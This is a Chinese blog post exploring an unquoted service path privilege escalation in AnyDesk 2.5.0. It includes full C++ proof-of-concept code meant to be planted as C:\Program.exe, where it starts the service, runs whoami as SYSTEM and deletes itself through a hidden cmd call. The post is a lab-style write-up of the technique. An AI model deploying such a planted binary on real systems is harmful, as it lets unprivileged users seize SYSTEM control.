首页 > 代码库 > 不带引号的服务路径的提权探索

不带引号的服务路径的提权探索

前言:
     前几天逛exploit-db,看到一个文章《AnyDesk 2.5.0 - Unquoted Service Path Privilege Escalation》,大概描述内容如下:

1. Description: The Anydesk installs as a service with an unquoted service path running with SYSTEM privileges.This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.

 看完这描述,没有明白,为什么服务路径没有加引号会造成权限提升呢?于是自己手动查询了俩服务对比对比:

技术分享

对比后大概了解:

BINARY_PATH_NAME 如果没有加双引号的话,在启用服务过程中查询路径的时候,遇上空格会造成截断,那么利用思路就出来了,在C:\Program Files\(程序路径,我本机是安装在C盘)这个目录的同级目录 也就是C:\ 放置一个Program的程序,启用服务的过程中是不是就加载了这个程序呢?

实验过程:

    既然思路有了,那么就写一个程序试试吧,程序实现思路如下:

   1:执行命令(这里执行whoami,查看运行权限)

   2:运行完毕后删除自身(因为服务加载了Program程序时候,就启用不了正常服务了,删除自身后可以保证重新启用程序时候服务能正常启用)

代码如下:

#include <iostream>#include <cstdlib>#include <string>#include <windows.h>   #include <shellapi.h>  #include <shlobj.h>  #define SVCNAME TEXT("AnyDesk")#pragma comment(lib, "shell32.lib")#pragma comment(lib, "advapi32.lib")using namespace std;/* 启动服务函数 */VOID __stdcall DoStartSvc(){    SERVICE_STATUS_PROCESS ssStatus;     DWORD        dwOldCheckPoint;     DWORD        dwStartTickCount;    DWORD        dwWaitTime;    DWORD        dwBytesNeeded;    SC_HANDLE    schSCManager;    SC_HANDLE    schService;    // Get a handle to the SCM database.      schSCManager = OpenSCManager(         NULL,                    // local computer        NULL,                    // servicesActive database         SERVICE_START | SERVICE_QUERY_STATUS | SERVICE_STOP);  // full access rights      if (NULL == schSCManager)     {        printf("OpenSCManager failed (%d)\n", GetLastError());        return;    }    // Get a handle to the service.    schService = OpenService(         schSCManager,         // SCM database         SVCNAME,            // name of service         SERVICE_ALL_ACCESS);  // full access      if (schService == NULL)    {         printf("OpenService failed (%d)\n", GetLastError());         CloseServiceHandle(schSCManager);        return;    }        // Check the status in case the service is not stopped.     if (!QueryServiceStatusEx(             schService,                     // handle to service             SC_STATUS_PROCESS_INFO,         // information level            (LPBYTE) &ssStatus,             // address of structure            sizeof(SERVICE_STATUS_PROCESS), // size of structure            &dwBytesNeeded ) )              // size needed if buffer is too small    {        printf("QueryServiceStatusEx failed (%d)\n", GetLastError());        CloseServiceHandle(schService);         CloseServiceHandle(schSCManager);        return;     }    // Check if the service is already running. It would be possible     // to stop the service here, but for simplicity this example just returns.     if(ssStatus.dwCurrentState != SERVICE_STOPPED && ssStatus.dwCurrentState != SERVICE_STOP_PENDING)    {        printf("Cannot start the service because it is already running\n");        CloseServiceHandle(schService);         CloseServiceHandle(schSCManager);        return;     }    // Save the tick count and initial checkpoint.    dwStartTickCount = GetTickCount();    dwOldCheckPoint = ssStatus.dwCheckPoint;    // Wait for the service to stop before attempting to start it.    while (ssStatus.dwCurrentState == SERVICE_STOP_PENDING)    {        // Do not wait longer than the wait hint. A good interval is         // one-tenth of the wait hint but not less than 1 second          // and not more than 10 seconds.          dwWaitTime = ssStatus.dwWaitHint / 10;        if( dwWaitTime < 1000 )            dwWaitTime = 1000;        else if ( dwWaitTime > 10000 )            dwWaitTime = 10000;        Sleep( dwWaitTime );        // Check the status until the service is no longer stop pending.          if (!QueryServiceStatusEx(                 schService,                     // handle to service                 SC_STATUS_PROCESS_INFO,         // information level                (LPBYTE) &ssStatus,             // address of structure                sizeof(SERVICE_STATUS_PROCESS), // size of structure                &dwBytesNeeded ) )              // size needed if buffer is too small        {            printf("QueryServiceStatusEx failed (%d)\n", GetLastError());            CloseServiceHandle(schService);             CloseServiceHandle(schSCManager);            return;         }        if ( ssStatus.dwCheckPoint > dwOldCheckPoint )        {            // Continue to wait and check.            dwStartTickCount = GetTickCount();            dwOldCheckPoint = ssStatus.dwCheckPoint;        }        else        {            if(GetTickCount()-dwStartTickCount > ssStatus.dwWaitHint)            {                printf("Timeout waiting for service to stop\n");                CloseServiceHandle(schService);                 CloseServiceHandle(schSCManager);                return;             }        }    }    // Attempt to start the service.    if (!StartService(            schService,  // handle to service             0,           // number of arguments             NULL) )      // no arguments     {        printf("StartService failed (%d)\n", GetLastError());        CloseServiceHandle(schService);         CloseServiceHandle(schSCManager);        return;     }    else printf("Service start pending...\n");     // Check the status until the service is no longer start pending.      if (!QueryServiceStatusEx(             schService,                     // handle to service             SC_STATUS_PROCESS_INFO,         // info level            (LPBYTE) &ssStatus,             // address of structure            sizeof(SERVICE_STATUS_PROCESS), // size of structure            &dwBytesNeeded ) )              // if buffer too small    {        printf("QueryServiceStatusEx failed (%d)\n", GetLastError());        CloseServiceHandle(schService);         CloseServiceHandle(schSCManager);        return;     }     // Save the tick count and initial checkpoint.    dwStartTickCount = GetTickCount();    dwOldCheckPoint = ssStatus.dwCheckPoint;    while (ssStatus.dwCurrentState == SERVICE_START_PENDING)     {         // Do not wait longer than the wait hint. A good interval is         // one-tenth the wait hint, but no less than 1 second and no         // more than 10 seconds.          dwWaitTime = ssStatus.dwWaitHint / 10;        if( dwWaitTime < 1000 )            dwWaitTime = 1000;        else if ( dwWaitTime > 10000 )            dwWaitTime = 10000;        Sleep( dwWaitTime );        // Check the status again.          if (!QueryServiceStatusEx(             schService,             // handle to service             SC_STATUS_PROCESS_INFO, // info level            (LPBYTE) &ssStatus,             // address of structure            sizeof(SERVICE_STATUS_PROCESS), // size of structure            &dwBytesNeeded ) )              // if buffer too small        {            printf("QueryServiceStatusEx failed (%d)\n", GetLastError());            break;         }         if ( ssStatus.dwCheckPoint > dwOldCheckPoint )        {            // Continue to wait and check.            dwStartTickCount = GetTickCount();            dwOldCheckPoint = ssStatus.dwCheckPoint;        }        else        {            if(GetTickCount()-dwStartTickCount > ssStatus.dwWaitHint)            {                // No progress made within the wait hint.                break;            }        }    }     // Determine whether the service is running.    if (ssStatus.dwCurrentState == SERVICE_RUNNING)     {        printf("Service started successfully.\n");     }    else     {         printf("Service not started. \n");        printf("  Current State: %d\n", ssStatus.dwCurrentState);         printf("  Exit Code: %d\n", ssStatus.dwWin32ExitCode);         printf("  Check Point: %d\n", ssStatus.dwCheckPoint);         printf("  Wait Hint: %d\n", ssStatus.dwWaitHint);     }     CloseServiceHandle(schService);     CloseServiceHandle(schSCManager);}/* 运行后删除自身函数 */void DeleteApplicationSelf()  {      char szCommandLine[MAX_PATH + 10];                //设置本程序进程基本为实时执行,快速退出。      SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);      SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);      //通知资源管理器不显示本程序,当然如果程序没有真正的删除,刷新资源管理器后仍会显示出来的。      SHChangeNotify(SHCNE_DELETE, SHCNF_PATH, _pgmptr, NULL);                //调用cmd传入参数以删除自己      char szFilePath[MAX_PATH];      sprintf(szFilePath, "\"%s\"", _pgmptr);      sprintf(szCommandLine, "/c del /q %s", szFilePath);      ShellExecute(NULL, "open", "cmd.exe", szCommandLine, NULL, SW_HIDE);                ExitProcess(0);  }  int main(){    DoStartSvc();    string cmd = "whoami > 123.txt";    system(cmd.c_str());    DeleteApplicationSelf();    return 0;}

 

编译程序测试:

  1:将程序命名为Program.exe放置在C盘

技术分享

  2:启用anydesk

  技术分享

这里弹出警告:提示服务没能启动起来,这个不要紧,Program.exe已经自删除,关掉重新打开就能正常启用了。

  3:查看结果,成功提权。

技术分享

 

参考:

  https://www.exploit-db.com/exploits/40410/

 

不带引号的服务路径的提权探索